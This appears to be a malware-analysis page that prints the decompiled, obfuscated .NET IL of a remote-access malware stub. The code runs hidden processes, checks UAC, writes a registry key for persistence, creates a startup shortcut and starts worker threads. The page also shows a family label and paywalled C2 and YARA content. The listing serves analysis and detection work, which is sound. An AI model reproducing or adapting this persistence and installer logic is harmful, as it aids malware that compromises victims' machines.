call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String) stloc.s V_8 ldloc.s V_8 castclass System.Diagnostics.ProcessStartInfo ldc.i4.1 <null> ldc.i4 389 ldc.i4 430 call System.Void Stub.Uninstaller::Ⴗ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int32) ldc.i4.8 <null> stloc.s V_27 br.s IL_0368: ldloc.s V_27 call System.String Stub.ClientSocket::UAC() ldc.i4 1013 ldc.i4 1015 call System.Boolean My.MyApplication::ႷႨ<System.String>(System.String,System.Char,System.Char) brfalse.s IL_03DD: ldc.i4.6 ldc.i4.1 <null> stloc.s V_27 br.s IL_0368: ldloc.s V_27 ldc.i4.6 <null> br.s IL_03D9: stloc.s V_27 ldloc.s V_8 castclass System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 castclass System.String[] ldc.i4.0 <null> ldc.i4 1468082432 ldc.i4.1 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 1004 ldc.i4 957 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4.2 <null> ldc.i4 1468082418 ldc.i4.3 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.4 <null> ldc.i4 1468082375 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4 559 ldc.i4 526 call System.String My.MyComputer::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 286 ldc.i4 314 call System.Void Stub.Uninstaller::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int32) ldc.i4.0 <null> stloc.s V_27 br IL_0368: ldloc.s V_27 ldloc.s V_8 isinst System.Diagnostics.ProcessStartInfo ldc.i4.5 <null> newarr System.String stloc.s V_13 ldloc.s V_13 castclass System.String[] ldc.i4.0 <null> ldc.i4 1468082369 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.1 <null> ldsfld System.String Settings::InstallStr ldc.i4 1008 ldc.i4 929 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.2 <null> ldc.i4 1468082418 ldc.i4.3 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 isinst System.String[] ldc.i4.3 <null> ldloc.0 <null> castclass System.String stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4.4 <null> ldc.i4 1468082382 ldc.i4.1 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_13 castclass System.String[] ldc.i4 724 ldc.i4 757 call System.String My.MyComputer::Ⴓ(System.String[],System.Char,System.Char) ldc.i4 771 ldc.i4 807 call System.Void Stub.Uninstaller::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int32,System.Int32) ldloc.s V_8 isinst System.Diagnostics.ProcessStartInfo ldc.i4 305 ldc.i4 296 call System.Diagnostics.Process Stub.Main/Ⴄ::ႤႳ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Char,System.Int16) stloc.s V_7 ldloc.s V_7 isinst System.Diagnostics.Process ldc.i4 558 ldc.i4 616 call System.Void My.MyComputer::ႥႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int16,System.Char) leave.s IL_0579: ldc.i4.0 dup <null> ldc.i4 664 ldc.i4 721 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_9 ldc.i4 747 ldc.i4 710 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0579: ldc.i4.0 ldc.i4.0 <null> stloc.s V_29 ldloc.s V_29 switch dnlib.DotNet.Emit.Instruction[] call My.MyComputer My.MyProject::Ⴅ() ldc.i4 246 ldc.i4 225 call Microsoft.VisualBasic.MyServices.RegistryProxy Stub.Main/Ⴄ::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Int32,System.Int32) ldc.i4 195 ldc.i4 234 call Microsoft.Win32.RegistryKey Stub.Main/Ⴄ::ႤႰ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int16,System.Char) ldc.i4 1468082338 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> ldc.i4 772 ldc.i4 890 call Microsoft.Win32.RegistryKey My.MyComputer::ႥႣ<Microsoft.Win32.RegistryKey,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Int32,System.Char) ldsfld System.String Settings::InstallStr ldc.i4 415 ldc.i4 462 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) ldloc.0 <null> castclass System.String ldc.i4 562 ldc.i4 596 call System.Void Stub.Main/Ⴄ::ႤႨ<Microsoft.Win32.RegistryKey,System.Object,System.String>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Char,System.Int32) leave.s IL_0624: ldc.i4.5 dup <null> ldc.i4 693 ldc.i4 764 call System.Void Stub.Main::Ⴅ<System.Exception>(System.Exception,System.Char,System.Int16) stloc.s V_10 ldc.i4 749 ldc.i4 704 call System.Void Stub.Uninstaller::Ⴐ(System.Char,System.Int16) leave.s IL_0624: ldc.i4.5 ldc.i4.5 <null> stloc.s V_31 ldloc.s V_31 switch dnlib.DotNet.Emit.Instruction[] ldc.i4.7 <null> ldc.i4.s 39 ldc.i4.s 112 call System.String My.MyApplication::ႷႳ(System.Environment/SpecialFolder,System.Int32,System.Char) ldc.i4 1468082484 ldc.i4.6 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldsfld System.String Settings::InstallStr ldc.i4 316 ldc.i4 365 call System.String Stub.Main::Ⴈ<System.String>(System.String,System.Int16,System.Int32) ldc.i4 1468082335 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.s 32 ldc.i4.s 78 call System.String Stub.Main/Ⴄ::ႠႭ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int32) stloc.s V_11 ldc.i4.2 <null> stloc.s V_31 br.s IL_0627: ldloc.s V_31 ldc.i4 1468082283 ldc.i4.5 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4 1468082841 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String) ldnull <null> ldc.i4 1468082294 ldc.i4.8 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_14 ldloc.s V_14 castclass System.Object[] ldc.i4.0 <null> ldloc.s V_11 castclass System.String stelem.ref <null> ldloc.s V_14 isinst System.Object[] stloc.s V_15 ldloc.s V_15 isinst System.Object[] ldnull <null> ldnull <null> ldc.i4.1 <null> newarr System.Boolean stloc.s V_16 ldloc.s V_16 castclass System.Boolean[] ldc.i4.0 <null> ldc.i4.1 <null> stelem.i1 <null> ldloc.s V_16 castclass System.Boolean[] call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[]) ldloc.s V_16 castclass System.Boolean[] ldc.i4.0 <null> ldelem.i1 <null> brfalse.s IL_0739: stloc.s V_17 ldloc.s V_15 castclass System.Object[] ldc.i4.0 <null> ldelem.ref <null> call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object) ldtoken System.String call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle) call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type) castclass System.String stloc.s V_11 stloc.s V_17 ldloc.s V_17 ldnull <null> ldc.i4 1468082253 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 castclass System.Object[] ldc.i4.0 <null> ldloc.0 <null> isinst System.String stelem.ref <null> ldloc.s V_18 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.4 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldloc.s V_17 ldnull <null> ldc.i4 1468082266 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.1 <null> newarr System.Object stloc.s V_18 ldloc.s V_18 castclass System.Object[] ldc.i4.0 <null> ldc.i4 1468082835 ldc.i4.2 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) stelem.ref <null> ldloc.s V_18 castclass System.Object[] ldnull <null> ldnull <null> ldc.i4.0 <null> ldc.i4.1 <null> call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean) ldc.i4.3 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldloc.s V_17 ldnull <null> ldc.i4 1468082223 ldc.i4.0 <null> ldnull <null> call System.String Stub.Main/Ⴄ::Ⴍ(System.Int32,System.Int32,System.String) ldc.i4.0 <null> newarr System.Object ldnull <null> ldnull <null> ldnull <null> ldc.i4.1 <null> call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean) pop <null> ldc.i4.8 <null> stloc.s V_31 br IL_0627: ldloc.s V_31 ldnull <null> stloc.s V_17 ldloc.s V_11 castclass System.String ldc.i4.3 <null> newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode) stsfld System.IO.FileStream Ⴈ.Ⴃ::Ⴍ leave.s IL_080A: ldc.i4.4 dup <null> call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception) stloc.s V_12 call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError() leave.s IL_080A: ldc.i4.4 ldc.i4.4 <null> stloc.s V_33 ldloc.s V_33 switch dnlib.DotNet.Emit.Instruction[] call System.Void Ⴈ.Ⴃ::Ⴈ() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void System.Threading.Thread::Start() ldnull <null> ldftn System.Void Stub.Main::_Lambda$__2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldc.i4.3 <null> stloc.s V_33 br.s IL_080D: ldloc.s V_33 ldnull <null> ldftn System.Void Stub.Main::_Lambda$__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.2 <null> ldloc.1 <null> castclass System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Start() ldloc.s V_25 ldc.i4 279 ldelem.u2 <null> ldc.i4 63178 sub <null> stloc.s V_33 br IL_080D: ldloc.s V_33 ldloc.2 <null> isinst System.Threading.Thread callvirt System.Void System.Threading.Thread::Join() ret <null> ldtoken System.Void Stub.Main::Main() pop <null> ret <null>

Config. Field	Value
family	xhuhuhuhu

We extracted this malware's full configuration (C2, credentials, campaign IDs…).

Unlock with Essential

You must be signed in to view YARA rules.